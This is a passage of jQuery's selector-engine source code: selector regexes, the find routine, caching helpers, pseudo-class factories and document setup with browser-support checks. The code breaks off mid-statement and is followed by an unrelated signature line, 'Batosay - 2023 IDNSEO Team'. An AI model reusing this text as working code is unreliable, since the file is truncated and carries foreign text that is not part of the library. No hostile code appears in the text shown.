	identifier = "(?:\\\\[\\da-fA-F]{1,6}" + whitespace +
		"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",

	// Attribute selectors: https://www.w3.org/TR/selectors/#attribute-selectors
	attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace +

		// Operator (capture 2)
		"*([*^$|!~]?=)" + whitespace +

		// "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]"
		"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" +
		whitespace + "*\\]",

	pseudos = ":(" + identifier + ")(?:\\((" +

		// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:
		// 1. quoted (capture 3; capture 4 or capture 5)
		"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" +

		// 2. simple (capture 6)
		"((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" +

		// 3. anything else (capture 2)
		".*" +
		")\\)|)",

	// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
	rwhitespace = new RegExp( whitespace + "+", "g" ),

	rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
	rleadingCombinator = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" +
		whitespace + "*" ),
	rdescend = new RegExp( whitespace + "|>" ),

	rpseudo = new RegExp( pseudos ),
	ridentifier = new RegExp( "^" + identifier + "$" ),

	matchExpr = {
		ID: new RegExp( "^#(" + identifier + ")" ),
		CLASS: new RegExp( "^\\.(" + identifier + ")" ),
		TAG: new RegExp( "^(" + identifier + "|[*])" ),
		ATTR: new RegExp( "^" + attributes ),
		PSEUDO: new RegExp( "^" + pseudos ),
		CHILD: new RegExp(
			"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" +
				whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" +
				whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
		bool: new RegExp( "^(?:" + booleans + ")$", "i" ),

		// For use in libraries implementing .is()
		// We use this for POS matching in `select`
		needsContext: new RegExp( "^" + whitespace +
			"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace +
			"*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
	},

	rinputs = /^(?:input|select|textarea|button)$/i,
	rheader = /^h\d$/i,

	// Easily-parseable/retrievable ID or TAG or CLASS selectors
	rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,

	rsibling = /[+~]/,

	// CSS escapes
	// https://www.w3.org/TR/CSS21/syndata.html#escaped-characters
	runescape = new RegExp( "\\\\[\\da-fA-F]{1,6}" + whitespace +
		"?|\\\\([^\\r\\n\\f])", "g" ),
	funescape = function( escape, nonHex ) {
		var high = "0x" + escape.slice( 1 ) - 0x10000;

		if ( nonHex ) {

			// Strip the backslash prefix from a non-hex escape sequence
			return nonHex;
		}

		// Replace a hexadecimal escape sequence with the encoded Unicode code point
		// Support: IE <=11+
		// For values outside the Basic Multilingual Plane (BMP), manually construct a
		// surrogate pair
		return high < 0 ?
			String.fromCharCode( high + 0x10000 ) :
			String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
	},

	// Used for iframes; see `setDocument`.
	// Support: IE 9 - 11+, Edge 12 - 18+
	// Removing the function wrapper causes a "Permission Denied"
	// error in IE/Edge.
	unloadHandler = function() {
		setDocument();
	},

	inDisabledFieldset = addCombinator(
		function( elem ) {
			return elem.disabled === true && nodeName( elem, "fieldset" );
		},
		{ dir: "parentNode", next: "legend" }
	);

// Support: IE <=9 only
// Accessing document.activeElement can throw unexpectedly
// https://bugs.jquery.com/ticket/13393
function safeActiveElement() {
	try {
		return document.activeElement;
	} catch ( err ) { }
}

// Optimize for push.apply( _, NodeList )
try {
	push.apply(
		( arr = slice.call( preferredDoc.childNodes ) ),
		preferredDoc.childNodes
	);

	// Support: Android <=4.0
	// Detect silently failing push.apply
	// eslint-disable-next-line no-unused-expressions
	arr[ preferredDoc.childNodes.length ].nodeType;
} catch ( e ) {
	push = {
		apply: function( target, els ) {
			pushNative.apply( target, slice.call( els ) );
		},
		call: function( target ) {
			pushNative.apply( target, slice.call( arguments, 1 ) );
		}
	};
}

function find( selector, context, results, seed ) {
	var m, i, elem, nid, match, groups, newSelector,
		newContext = context && context.ownerDocument,

		// nodeType defaults to 9, since context defaults to document
		nodeType = context ? context.nodeType : 9;

	results = results || [];

	// Return early from calls with invalid selector or context
	if ( typeof selector !== "string" || !selector ||
		nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {

		return results;
	}

	// Try to shortcut find operations (as opposed to filters) in HTML documents
	if ( !seed ) {
		setDocument( context );
		context = context || document;

		if ( documentIsHTML ) {

			// If the selector is sufficiently simple, try using a "get*By*" DOM method
			// (excepting DocumentFragment context, where the methods don't exist)
			if ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) {

				// ID selector
				if ( ( m = match[ 1 ] ) ) {

					// Document context
					if ( nodeType === 9 ) {
						if ( ( elem = context.getElementById( m ) ) ) {

							// Support: IE 9 only
							// getElementById can match elements by name instead of ID
							if ( elem.id === m ) {
								push.call( results, elem );
								return results;
							}
						} else {
							return results;
						}

					// Element context
					} else {

						// Support: IE 9 only
						// getElementById can match elements by name instead of ID
						if ( newContext && ( elem = newContext.getElementById( m ) ) &&
							find.contains( context, elem ) &&
							elem.id === m ) {

							push.call( results, elem );
							return results;
						}
					}

				// Type selector
				} else if ( match[ 2 ] ) {
					push.apply( results, context.getElementsByTagName( selector ) );
					return results;

				// Class selector
				} else if ( ( m = match[ 3 ] ) && context.getElementsByClassName ) {
					push.apply( results, context.getElementsByClassName( m ) );
					return results;
				}
			}

			// Take advantage of querySelectorAll
			if ( !nonnativeSelectorCache[ selector + " " ] &&
				( !rbuggyQSA || !rbuggyQSA.test( selector ) ) ) {

				newSelector = selector;
				newContext = context;

				// qSA considers elements outside a scoping root when evaluating child or
				// descendant combinators, which is not what we want.
				// In such cases, we work around the behavior by prefixing every selector in the
				// list with an ID selector referencing the scope context.
				// The technique has to be used as well when a leading combinator is used
				// as such selectors are not recognized by querySelectorAll.
				// Thanks to Andrew Dupont for this technique.
				if ( nodeType === 1 &&
					( rdescend.test( selector ) || rleadingCombinator.test( selector ) ) ) {

					// Expand context for sibling selectors
					newContext = rsibling.test( selector ) && testContext( context.parentNode ) ||
						context;

					// We can use :scope instead of the ID hack if the browser
					// supports it & if we're not changing the context.
					// Support: IE 11+, Edge 17 - 18+
					// IE/Edge sometimes throw a "Permission denied" error when
					// strict-comparing two documents; shallow comparisons work.
					// eslint-disable-next-line eqeqeq
					if ( newContext != context || !support.scope ) {

						// Capture the context ID, setting it first if necessary
						if ( ( nid = context.getAttribute( "id" ) ) ) {
							nid = jQuery.escapeSelector( nid );
						} else {
							context.setAttribute( "id", ( nid = expando ) );
						}
					}

					// Prefix every selector in the list
					groups = tokenize( selector );
					i = groups.length;
					while ( i-- ) {
						groups[ i ] = ( nid ? "#" + nid : ":scope" ) + " " +
							toSelector( groups[ i ] );
					}
					newSelector = groups.join( "," );
				}

				try {
					push.apply( results,
						newContext.querySelectorAll( newSelector )
					);
					return results;
				} catch ( qsaError ) {
					nonnativeSelectorCache( selector, true );
				} finally {
					if ( nid === expando ) {
						context.removeAttribute( "id" );
					}
				}
			}
		}
	}

	// All others
	return select( selector.replace( rtrimCSS, "$1" ), context, results, seed );
}

/**
 * Create key-value caches of limited size
 * @returns {function(string, object)} Returns the Object data after storing it on itself with
 *	property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
 *	deleting the oldest entry
 */
function createCache() {
	var keys = [];

	function cache( key, value ) {

		// Use (key + " ") to avoid collision with native prototype properties
		// (see https://github.com/jquery/sizzle/issues/157)
		if ( keys.push( key + " " ) > Expr.cacheLength ) {

			// Only keep the most recent entries
			delete cache[ keys.shift() ];
		}
		return ( cache[ key + " " ] = value );
	}
	return cache;
}

/**
 * Mark a function for special use by jQuery selector module
 * @param {Function} fn The function to mark
 */
function markFunction( fn ) {
	fn[ expando ] = true;
	return fn;
}

/**
 * Support testing using an element
 * @param {Function} fn Passed the created element and returns a boolean result
 */
function assert( fn ) {
	var el = document.createElement( "fieldset" );

	try {
		return !!fn( el );
	} catch ( e ) {
		return false;
	} finally {

		// Remove from its parent by default
		if ( el.parentNode ) {
			el.parentNode.removeChild( el );
		}

		// release memory in IE
		el = null;
	}
}

/**
 * Returns a function to use in pseudos for input types
 * @param {String} type
 */
function createInputPseudo( type ) {
	return function( elem ) {
		return nodeName( elem, "input" ) && elem.type === type;
	};
}

/**
 * Returns a function to use in pseudos for buttons
 * @param {String} type
 */
function createButtonPseudo( type ) {
	return function( elem ) {
		return ( nodeName( elem, "input" ) || nodeName( elem, "button" ) ) &&
			elem.type === type;
	};
}

/**
 * Returns a function to use in pseudos for :enabled/:disabled
 * @param {Boolean} disabled true for :disabled; false for :enabled
 */
function createDisabledPseudo( disabled ) {

	// Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable
	return function( elem ) {

		// Only certain elements can match :enabled or :disabled
		// https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
		// https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
		if ( "form" in elem ) {

			// Check for inherited disabledness on relevant non-disabled elements:
			// * listed form-associated elements in a disabled fieldset
			//   https://html.spec.whatwg.org/multipage/forms.html#category-listed
			//   https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
			// * option elements in a disabled optgroup
			//   https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
			// All such elements have a "form" property.
			if ( elem.parentNode && elem.disabled === false ) {

				// Option elements defer to a parent optgroup if present
				if ( "label" in elem ) {
					if ( "label" in elem.parentNode ) {
						return elem.parentNode.disabled === disabled;
					} else {
						return elem.disabled === disabled;
					}
				}

				// Support: IE 6 - 11+
				// Use the isDisabled shortcut property to check for disabled fieldset ancestors
				return elem.isDisabled === disabled ||

					// Where there is no isDisabled, check manually
					elem.isDisabled !== !disabled &&
						inDisabledFieldset( elem ) === disabled;
			}

			return elem.disabled === disabled;

		// Try to winnow out elements that can't be disabled before trusting the disabled property.
		// Some victims get caught in our net (label, legend, menu, track), but it shouldn't
		// even exist on them, let alone have a boolean value.
		} else if ( "label" in elem ) {
			return elem.disabled === disabled;
		}

		// Remaining elements are neither :enabled nor :disabled
		return false;
	};
}

/**
 * Returns a function to use in pseudos for positionals
 * @param {Function} fn
 */
function createPositionalPseudo( fn ) {
	return markFunction( function( argument ) {
		argument = +argument;
		return markFunction( function( seed, matches ) {
			var j,
				matchIndexes = fn( [], seed.length, argument ),
				i = matchIndexes.length;

			// Match elements found at the specified indexes
			while ( i-- ) {
				if ( seed[ ( j = matchIndexes[ i ] ) ] ) {
					seed[ j ] = !( matches[ j ] = seed[ j ] );
				}
			}
		} );
	} );
}

/**
 * Checks a node for validity as a jQuery selector context
 * @param {Element|Object=} context
 * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
 */
function testContext( context ) {
	return context && typeof context.getElementsByTagName !== "undefined" && context;
}

/**
 * Sets document-related variables once based on the current document
 * @param {Element|Object} [node] An element or document object to use to set the document
 * @returns {Object} Returns the current document
 */
function setDocument( node ) {
	var subWindow,
		doc = node ? node.ownerDocument || node : preferredDoc;

	// Return early if doc is invalid or already selected
	// Support: IE 11+, Edge 17 - 18+
	// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
	// two documents; shallow comparisons work.
	// eslint-disable-next-line eqeqeq
	if ( doc == document || doc.nodeType !== 9 || !doc.documentElement ) {
		return document;
	}

	// Update global variables
	document = doc;
	documentElement = document.documentElement;
	documentIsHTML = !jQuery.isXMLDoc( document );

	// Support: iOS 7 only, IE 9 - 11+
	// Older browsers didn't support unprefixed `matches`.
	matches = documentElement.matches ||
		documentElement.webkitMatchesSelector ||
		documentElement.msMatchesSelector;

	// Support: IE 9 - 11+, Edge 12 - 18+
	// Accessing iframe documents after unload throws "permission denied" errors
	// (see trac-13936).
	// Limit the fix to IE & Edge Legacy; despite Edge 15+ implementing `matches`,
	// all IE 9+ and Edge Legacy versions implement `msMatchesSelector` as well.
	if ( documentElement.msMatchesSelector &&

		// Support: IE 11+, Edge 17 - 18+
		// IE/Edge sometimes throw a "Permission denied" error when strict-comparing
		// two documents; shallow comparisons work.
		// eslint-disable-next-line eqeqeq
		preferredDoc != document &&
		( subWindow = document.defaultView ) && subWindow.top !== subWindow ) {

		// Support: IE 9 - 11+, Edge 12 - 18+
		subWindow.addEventListener( "unload", unloadHandler );
	}

	// Support: IE <10
	// Check if getElementById returns elements by name
	// The broken getElementById methods don't pick up programmatically-set names,
	// so use a roundabout getElementsByName test
	support.getById = assert( function( el ) {
		documentElement.appendChild( el ).id = jQuery.expando;
		return !document.getElementsByName ||
			!document.getElementsByName( jQuery.expando ).length;
	} );

	// Support: IE 9 only
	// Check to see if it's possible to do matchesSelector
	// on a disconnected node.
	support.disconnectedMatch = assert( function( el ) {
		return matches.call( el, "*" );
	} );

	// Support: IE 9 - 11+, Edge 12 - 18+
	// IE/Edge don't support the :scope pseudo-class.
	support.scope = assert( function() {
		return document.querySelectorAll( ":scope" );
	} );

	// Support: Chrome 105 - 111 only, Safari 15.4 - 16.3 only
	// Make sure the `:has()` argument is parsed unforgivingly.
	// We include `*` in the test to detect buggy implementations that are
	// _selectively_ forgiving (specifically when the list includes at least
	// one valid selector).
	// Note that we treat complete lack of support for `:has()` as if it were
	// spec-compliant support, which is fine because use of `:has()` in such
	// environments will fail in the qSA path and fall back to jQuery traversal
	// anyway.
	support.cssHas = assert( function() {
		try {
			document.querySelector( ":has(*,:jqfake)" );
			return false;
		} catch ( e ) {
			return true;
		}
	} );

	// ID filter and find
	if ( support.getById ) {
		Expr.filter.ID = function( id ) {
			var attrId = id.replace( runescape, funescape );
			return function( elem ) {
				return elem.getAttribute( "id" ) === attrId;
			};
		};
		Expr.find.ID = function( id, context ) {
			if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
				var elem = context.getElementById( id );
				return elem ? [ elem ] : [];
			}
		};
	} else {
		Expr.filter.ID =  function( id ) {
			var attrId = id.replace( runescape, funescape );
			return function( elem ) {
				var n

Batosay - 2023
IDNSEO Team